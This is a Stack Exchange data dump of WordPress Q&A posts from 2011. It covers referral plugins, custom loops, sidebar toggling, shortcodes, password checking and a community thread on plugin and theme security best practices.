  <row Id="13517" PostTypeId="1" AcceptedAnswerId="13551" CreationDate="2011-03-30T17:32:49.533" Score="0" ViewCount="340" Body="&lt;p&gt;I want to create an affiliate system on WordPress . What I mean is when &quot;Member A&quot; invite other to join (ex. &quot;Member B&quot;) by using the ?referralId=MemberA querystring, then Member A get points or credits, and when Member B invite Member C, then Member B get points. Is there any WordPress plugin that can do that ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried Affiliate Pro Plus (http://wordpress.org/extend/plugins/affiliate-pro-plus/) but It's not work as expected. When I try to register Member B using Member A's referral, Member B does not count as Member A downline.&lt;/p&gt;&#xA;" OwnerUserId="4322" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-03-31T04:23:37.560" LastActivityDate="2011-06-01T01:42:33.193" Title="WordPress plugin for affiliate referral system" Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="13518" PostTypeId="2" ParentId="1844" CreationDate="2011-03-30T17:34:38.110" Score="1" ViewCount="" Body="&lt;p&gt;i think this is what you looking for:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/yd-wpmu-sitewide-options/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/yd-wpmu-sitewide-options/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2011-03-30T17:34:38.110" />
  <row Id="13520" PostTypeId="1" AcceptedAnswerId="13976" CreationDate="2011-03-30T17:43:58.667" Score="1" ViewCount="343" Body="&lt;p&gt;I am using the following code to display a list of posts within a category, but I want to display the title in it's own h2 tag above the list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;subcats-list&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;$weightloss = new WP_Query();&#xA;$weightloss-&amp;gt;query('showposts=5&amp;amp;include=4');&#xA;&#xA;while ($weightloss-&amp;gt;have_posts()) : $weightloss-&amp;gt;the_post(); ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;/ul&amp;gt;&amp;lt;!-- subcat --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried using &lt;code&gt;single_cat_title&lt;/code&gt; , however, the title is coming up for the parent category for all the sub category divs. Here's an example of a div that I am replicating multiple times, where the query is pulling posts from different sub categories. I would like the title for each sub category above the posts. I realize it's not working because I'm returning the parent category with that function, I'm just can't figure out the php...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;ul class=&quot;subcats-list&quot;&amp;gt;&#xA;            &amp;lt;h2 class=&quot;subcats-title&quot;&amp;gt;&amp;lt;?php single_cat_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;?php&#xA;                $weightloss = new WP_Query();&#xA;                $weightloss-&amp;gt;query('showposts=5&amp;amp;cat=4');&#xA;&#xA;                while ($weightloss-&amp;gt;have_posts()) : $weightloss-&amp;gt;the_post(); ?&amp;gt;&#xA;                  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;/ul&amp;gt;&amp;lt;!-- subcat --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4273" LastEditorUserId="4273" LastEditorDisplayName="" LastEditDate="2011-03-31T15:36:47.923" LastActivityDate="2011-09-04T12:58:27.020" Title="How do I get the title of a category in a custom loop?" Tags="&lt;wp-query&gt;&lt;custom-loop&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="13521" PostTypeId="1" AcceptedAnswerId="13523" CreationDate="2011-03-30T17:46:21.037" Score="0" ViewCount="152" Body="&lt;p&gt;I'm developing a WordPress theme that allows users to toggle the visibility of the sidebars using Javascript in the same way that wikis allow users to show or hide a table of contents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user clicks the link to hide a sidebar I have a toggle() javascript toggle function that sets the visibility of the sidebar to &quot;none&quot; and also sets a document cookie so that the next time the users visits that page, the sidebar will remember the last toggle state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have another javascript function setToggleFromCookie() that gets the cookie and sets the visibility based on that cookie.  This all works except:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a sidebar is hidden (i.e. visibility of the sidebar div = &quot;none&quot; and the document cookie hidesidebar = 1), when the page is loaded, the sidebar appears briefly before the javascript overrides the visibility = &quot;block&quot; with visibility = &quot;none.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have put setToggleFromCookie() in jQuery(document).ready(function(), but the page still seems to load and display the sidebar BEFORE setToggleFromCookie() jumps in to hide it...&lt;/p&gt;&#xA;" OwnerUserId="4330" LastActivityDate="2011-03-30T18:01:10.307" Title="Toggle Sidebar Display" Tags="&lt;theme-development&gt;&lt;functions&gt;&lt;jquery&gt;&lt;template&gt;&lt;sidebar&gt;" AnswerCount="1" />
  <row Id="13522" PostTypeId="1" AcceptedAnswerId="13524" CreationDate="2011-03-30T17:58:17.303" Score="1" ViewCount="99" Body="&lt;p&gt;I am new to WordPress and I've seen this term passed around.&lt;/p&gt;&#xA;" OwnerUserId="2440" LastEditorUserId="5231" LastEditorDisplayName="" LastEditDate="2011-05-09T08:49:06.747" LastActivityDate="2011-05-09T08:49:06.747" Title="What is a short code?" Tags="&lt;shortcode&gt;" AnswerCount="3" />
  <row Id="13523" PostTypeId="2" ParentId="13521" CreationDate="2011-03-30T18:01:10.307" Score="3" ViewCount="" Body="&lt;p&gt;While annoying, your plugin is functioning properly. The page completely renders itself first, showing the sidebar, and then the JavaScript code activates to hide the sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fix for this is to have your PHP code check/grab the user's cookie and set the display's sidebar status accordingly. That way when the page renders it will be set to none initially, and then any future image toggles can hide/show the sidebar dynamically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the page is loaded again for whatever reason, the same PHP loading code will run again, and set the initial state of the sidebar accordingly, without any need to &quot;follow up&quot; after the initial page load to show/hide the sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this makes sense. If you need some specifics, you might try updating your question with the code involved.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2011-03-30T18:01:10.307" CommentCount="1" />
  <row Id="13524" PostTypeId="2" ParentId="13522" CreationDate="2011-03-30T18:04:56.183" Score="8" ViewCount="" Body="&lt;p&gt;&quot;Shortcode&quot; is a user friendly way of inserting various WordPress plugins/scripts into a page without having to know a lot of fancy HTML/JavaScript/PHP in order to make it happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take, for example, embedding an mp3 file into a post on a hosted WordPress site. Instead of having to setup the proper code for a flash player or fiddle with some fancy JavaScript, you can use the following shortcode in the editor. You don't even switch to HTML mode...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[audio: http://www.pathtomyaudio.com/song.mp3]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and WordPress does the rest for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll find a lot of plugins for WordPress (such as Contact Form 7 and others) use this convention.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="5231" LastEditorDisplayName="" LastEditDate="2011-05-09T08:48:54.280" LastActivityDate="2011-05-09T08:48:54.280" CommentCount="1" />
  <row Id="13525" PostTypeId="2" ParentId="10680" CreationDate="2011-03-30T18:10:21.250" Score="1" ViewCount="" Body="&lt;p&gt;There is no way to cause your permalink structure to be reflected automatically in the title tag. Instead, you must create it yourself. This might get you started: (I had to make a lot of assumptions in this code.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_title() {&#xA;    $post = get_queried_object();&#xA;    $locations = wp_get_object_terms( $post-&amp;gt;ID, 'location' );&#xA;    $mba_courses = wp_get_object_terms( $post-&amp;gt;ID, 'mba_courses' );&#xA;    $postname = $post-&amp;gt;post_title;&#xA;    $location = $locations[0]-&amp;gt;name;&#xA;    $mba_course = $mba_courses[0]-&amp;gt;name;&#xA;    return &quot;$postname | $location | $mba_course&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your single post template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;&amp;lt;?php echo my_title(); ?&amp;gt;&amp;lt;title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="498" LastEditorUserId="498" LastEditorDisplayName="" LastEditDate="2011-03-30T18:30:53.243" LastActivityDate="2011-03-30T18:30:53.243" />
  <row Id="13527" PostTypeId="2" ParentId="13522" CreationDate="2011-03-30T18:32:43.307" Score="1" ViewCount="" Body="&lt;p&gt;These are &lt;a href=&quot;http://en.support.wordpress.com/shortcodes/&quot; rel=&quot;nofollow&quot;&gt;WordPress.com specific shortcodes&lt;/a&gt;, but they give you an idea of the power of using them.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-03-30T18:32:43.307" />
  <row Id="13528" PostTypeId="1" AcceptedAnswerId="13554" CreationDate="2011-03-30T18:34:56.487" Score="1" ViewCount="152" Body="&lt;p&gt;I'm creating a series of pages with iFrames embedded in them, but it seems the only way to do this within Wordpress (i.e. using the templating system) is to create pages in the admin end and then create individual templates for each of those pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to hide those pages from the admin without a plugin? I see no need for the client to see those pages when they can't edit anything in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;osu&lt;/p&gt;&#xA;" OwnerUserId="2685" LastActivityDate="2011-08-03T15:48:02.387" Title="Hide a page in the admin end without a plugin?" Tags="&lt;wp-admin&gt;&lt;3.1&gt;" AnswerCount="1" />
  <row Id="13530" PostTypeId="2" ParentId="13501" CreationDate="2011-03-30T18:52:35.547" Score="10" ViewCount="" Body="&lt;p&gt;Here is a modified checklist, based on my current (work-in-progress) settings/data security checklist used for reviewing Themes (the principles should be no different for Plugins than they are for Themes):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Plugins should prefix all options, custom functions, custom variables, and custom constants with plugin-slug.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Plugins should implement Plugin Options and Plugin Settings pages deliberately, rather than relying on copy-and-paste scripts from website tutorials, such as the ones below, which are outdated, and do not include proper data security:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.1stwebdesigner.com/wordpress/how-to-create-an-options-page-for-your-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;http://www.1stwebdesigner.com/wordpress/how-to-create-an-options-page-for-your-wordpress-theme/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpshout.com/create-an-awesome-wordpress-theme-options-page-part-1&quot; rel=&quot;nofollow&quot;&gt;http://wpshout.com/create-an-awesome-wordpress-theme-options-page-part-1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Plugins should use the &lt;code&gt;add_options_page()&lt;/code&gt; function to add the Plugin Settings Page to the &lt;code&gt;Settings&lt;/code&gt; menu, rather than using &lt;code&gt;add_menu_page()&lt;/code&gt; to add a top-level menu.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Plugins should use an appropriate &lt;em&gt;capability&lt;/em&gt; (e.g. &lt;code&gt;manage_options&lt;/code&gt;) for the capability to add the settings page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Plugins should save options in a single array, rather than create multiple options for the settings page. The use of the Settings API (see below) would handle this.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Plugins should use the Settings API(see below) to get and save form input data rather than rely on &lt;code&gt;$_POST&lt;/code&gt; and &lt;code&gt;$_REQUEST&lt;/code&gt; data directly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For checkboxes and select options, Plugins should use the &lt;code&gt;checked()&lt;/code&gt; and &lt;code&gt;selected()&lt;/code&gt; functions for outputting &lt;code&gt;checked=&quot;checked&quot;&lt;/code&gt; and &lt;code&gt;selected=&quot;selected&quot;&lt;/code&gt;, respectively.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Plugins should validate and sanitize all untrusted data before entering data into the database, and should escape all untrusted data before being output in the Settings form fields and before being output in the Theme template files:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Data_Validation&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Data_Validation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Plugins should use &lt;code&gt;esc_attr()&lt;/code&gt; for text inputs and &lt;code&gt;esc_html()&lt;/code&gt; (or &lt;code&gt;esc_textarea()&lt;/code&gt; in WP 3.1) for textareas.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Plugins should explicitly provide Settings-page nonce checking, if not using the Settings API:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/WordPress_Nonces&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/WordPress_Nonces&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It is also highly recommended that Plugins use the Settings API, which is easier to use, more secure, and takes care of a lot of the hard work of settings pages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Settings_API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For a good tutorial on using the Settings API, see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.chipbennett.net/2011/02/17/incorporating-the-settings-api-in-wordpress-themes/&quot; rel=&quot;nofollow&quot;&gt;http://www.chipbennett.net/2011/02/17/incorporating-the-settings-api-in-wordpress-themes/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://planetozh.com/blog/2009/05/handling-plugins-options-in-wordpress-28-with-register_setting/&quot; rel=&quot;nofollow&quot;&gt;http://planetozh.com/blog/2009/05/handling-plugins-options-in-wordpress-28-with-register_setting/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to check out a theme with a secure and solidly-coded theme settings page, check out this theme:&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/themes/coraline&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/coraline&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="2962" LastEditorDisplayName="" LastEditDate="2011-03-30T20:51:39.140" LastActivityDate="2011-03-30T20:51:39.140" CommentCount="15" />
  <row Id="13531" PostTypeId="2" ParentId="13437" CreationDate="2011-03-30T18:55:28.710" Score="0" ViewCount="" Body="&lt;p&gt;The best way to do form validation is with a combination of JavaScript and PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why you want to perform JavaScript validation is to give the users a chance to correct their errors without submitting the form.  Plus, it will stop any casual mistakes.  You will also want to ensure validation on the back-end in case JavaScript is turned off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, &lt;em&gt;sanitizing&lt;/em&gt; your data should be part of this process.  Use any of these WordPress functions to help you there: &lt;a href=&quot;http://codex.wordpress.org/Data_Validation&quot; rel=&quot;nofollow&quot;&gt;Data Validation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For JavaScript validation, I recommend the &lt;a href=&quot;http://docs.jquery.com/Plugins/Validation&quot; rel=&quot;nofollow&quot;&gt;jQuery Validation plugin&lt;/a&gt;.  It's super easy to implement and customize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your PHP validation, you can try adding this to check for empty values:  &lt;code&gt;$_POST['title'] != ''&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-03-30T18:55:28.710" CommentCount="4" />
  <row Id="13532" PostTypeId="2" ParentId="10764" CreationDate="2011-03-30T19:00:47.650" Score="1" ViewCount="" Body="&lt;p&gt;On WordPress.com we have domain mapping and we have SSL but the two don't mix because we don't manage certs for mapped domains (AFAIK). We use SSL for wp-admin but not for blogs. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://andyskelton.com/&#xA;https://andyskelton.wordpress.com/wp-admin/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The SSL cert is for *.wordpress.com. If you try to visit the mapped domain over SSL you should get a warning from your browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fine if you only need SSL for wp-admin. Otherwise you must get a cert per domain and set those up in your web server.&lt;/p&gt;&#xA;" OwnerUserId="498" LastActivityDate="2011-03-30T19:00:47.650" />
  <row Id="13533" PostTypeId="2" ParentId="13501" CreationDate="2011-03-30T19:04:46.787" Score="7" ViewCount="" Body="&lt;p&gt;There are two aspects to this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Basic principles.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Whatever is written into database should be checked for SQL injects. &lt;/li&gt;&#xA;&lt;li&gt;Whatever is printed to screen should be checked that it doesn't print harmful JavaScript.&lt;/li&gt;&#xA;&lt;li&gt;Whenever someone does something it should be checked that it was his intention to do so and he has appropriate capability.&lt;/li&gt;&#xA;&lt;li&gt;There are many many more things that you or me either won't ever think to check for.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Specifics.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Modern WordPress takes security seriously and aims to make it easy for developers.&lt;/li&gt;&#xA;&lt;li&gt;So for most of things you want to do there is most likely a way to get it done with WP APIs.&lt;/li&gt;&#xA;&lt;li&gt;So whatever you are doing your first step would be to fine and study appropriate API.&lt;/li&gt;&#xA;&lt;li&gt;The further you are from common and simple functionality the more complex things you will need to study and implement.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-30T19:04:46.787" />
  <row Id="13534" PostTypeId="2" ParentId="13520" CreationDate="2011-03-30T19:55:46.670" Score="0" ViewCount="" Body="&lt;p&gt;It's not entirely clear what you're referring to, you asked how to get the title of category inside a custom loop. Are you referring to particular category, or a category associated with a given post inside that loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case if you're referring to printing out the name of the first category for each post in your custom loop simply add the following code somewhere inside your loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php single_cat_title(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Documentation for the function can be found here:&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/single_cat_title&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/single_cat_title&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the comment under your question though, that's a valid point, what were you intending with the &lt;code&gt;include&lt;/code&gt; parameter, are you trying to filter that query to a particular set of posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Valid query parameters can be found on the &lt;code&gt;WP_query&lt;/code&gt; &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;codex page&lt;/a&gt;, if it's helpful. If you're unsure about how to set parameters, just let us know.. ;)&lt;/p&gt;&#xA;" OwnerUserId="2962" LastActivityDate="2011-03-30T19:55:46.670" CommentCount="2" />
  <row Id="13535" PostTypeId="1" AcceptedAnswerId="13537" CreationDate="2011-03-30T20:11:28.243" Score="1" ViewCount="153" Body="&lt;p&gt;I want to keep a check if the user has a particular password, so I have been trying it with &lt;code&gt;wp_check_password&lt;/code&gt; but the account for which it is checked gets logged out and can't login again till there is a call of &lt;code&gt;wp_check_password&lt;/code&gt; in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Digging into the code, I found out that it sets the password by using the new hash. and moreover if I am using &lt;code&gt;wp_check_password( 'hello', md5('hello'), 1 );&lt;/code&gt;, it doesn't even check what is inside the database and returns true. Isn't that a bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how can I check the user's password?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-30T21:05:52.550" Title="Check the password of a user" Tags="&lt;password&gt;" AnswerCount="2" />
  <row Id="13536" PostTypeId="2" ParentId="13535" CreationDate="2011-03-30T20:18:51.667" Score="1" ViewCount="" Body="&lt;p&gt;You can grab their hashed password from the database, and compare it to the entry you want to check using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_hash_password&quot; rel=&quot;nofollow&quot;&gt;wp_hash_password()&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check if the current user's password matches &quot;hello&quot;, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $current_user-&amp;gt;user_pass == wp_hash_password( 'hello' ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-30T20:18:51.667" CommentCount="1" />
  <row Id="13537" PostTypeId="2" ParentId="13535" CreationDate="2011-03-30T20:23:59.603" Score="4" ViewCount="" Body="&lt;p&gt;&lt;strike&gt;Your example works correctly. You are checking if password &lt;code&gt;hello&lt;/code&gt; matches hashed &lt;code&gt;hello&lt;/code&gt; - which it naturally does.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hadn't thought it through. Your example causes following issue:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You check if &lt;code&gt;hello&lt;/code&gt; matches md5 of &lt;code&gt;hello&lt;/code&gt; (instead of hash from user's profile).&lt;/li&gt;&#xA;&lt;li&gt;It does and then WP thinks this is correct, but outdated md5 hash - that must be updated.&lt;/li&gt;&#xA;&lt;li&gt;It re-hashes &lt;code&gt;hello&lt;/code&gt; and updates user with it, locking him out (since his password is now &lt;code&gt;hello&lt;/code&gt; instead of whatever it was before).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;See &lt;code&gt;wp_authenticate_username_password()&lt;/code&gt; function for extensive example, but basic idea is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$userdata = get_user_by('login', $username);&#xA;$result = wp_check_password($password, $userdata-&amp;gt;user_pass, $userdata-&amp;gt;ID);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-30T21:05:52.550" LastActivityDate="2011-03-30T21:05:52.550" CommentCount="10" />
  <row Id="13538" PostTypeId="2" ParentId="13522" CreationDate="2011-03-30T20:34:11.363" Score="1" ViewCount="" Body="&lt;p&gt;Not long ago i posted a nice explanation: &lt;a href=&quot;http://en.bainternet.info/2011/shotcodes-because-its-shorter&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Shotcodes because its shorter!&lt;/strong&gt;&lt;/a&gt; &#xA;It covers in short:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What shortcodes are.&lt;/li&gt;&#xA;&lt;li&gt;How to use shortcodes.&lt;/li&gt;&#xA;&lt;li&gt;How to define your own.&lt;/li&gt;&#xA;&lt;li&gt;How to use them in widgets.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Worth a look.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-30T20:34:11.363" />
  <row Id="13539" PostTypeId="1" CreationDate="2011-03-30T21:00:45.063" Score="9" ViewCount="408" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/q/13501/3966&quot;&gt;As suggested in this question&lt;/a&gt;, I am adding this topic as a new question, for community discussion/voting regarding best-practices for Plugin/Theme security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the starting checklist, based on my current (work-in-progress) settings/data security checklist used for reviewing Themes (the principles should be no different for Plugins than they are for Themes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to check out a theme with a secure and solidly-coded theme settings page, check out this theme:&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/themes/coraline&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/coraline&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-03-30T21:53:25.473" LastActivityDate="2011-08-17T12:01:43.947" CommunityOwnedDate="2011-03-31T07:06:20.893" Title="What Are Security Best Practices for WordPress Plugins and Themes?" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;security&gt;" AnswerCount="13" CommentCount="4" FavoriteCount="12" />
  <row Id="13540" PostTypeId="2" ParentId="13539" CreationDate="2011-03-30T21:05:18.447" Score="1" ViewCount="" Body="&lt;h2&gt;Prefix function and variable names&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Plugins should prefix all options, custom functions, custom variables, and custom constants with plugin-slug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Themes should prefix all options, custom functions, custom variables, and custom constants with theme-slug.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-31T20:29:22.200" LastActivityDate="2011-03-31T20:29:22.200" CommunityOwnedDate="2011-03-30T21:05:18.447" CommentCount="1" />
  <row Id="13541" PostTypeId="2" ParentId="13539" CreationDate="2011-03-30T21:05:43.687" Score="6" ViewCount="" Body="&lt;h2&gt;Use up-to-date tutorials and information&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Plugins &amp;amp; Themes should both implement Options and Settings pages deliberately and &lt;strong&gt;not&lt;/strong&gt; rely on copy-and-paste website tutorials which are outdated and do not include proper data security, such as those listed below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples of what &lt;strong&gt;not to do&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.1stwebdesigner.com/wordpress/how-to-create-an-options-page-for-your-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;How to create an options page for your wordpress theme&lt;/a&gt; (1stwebdesigner.com)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wpshout.com/create-an-awesome-wordpress-theme-options-page-part-1&quot; rel=&quot;nofollow&quot;&gt;Create an awesome WordPress theme options page part 1&lt;/a&gt; (wpshout.com)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-31T20:23:35.680" LastActivityDate="2011-03-31T20:23:35.680" CommunityOwnedDate="2011-03-30T21:05:43.687" CommentCount="2" />
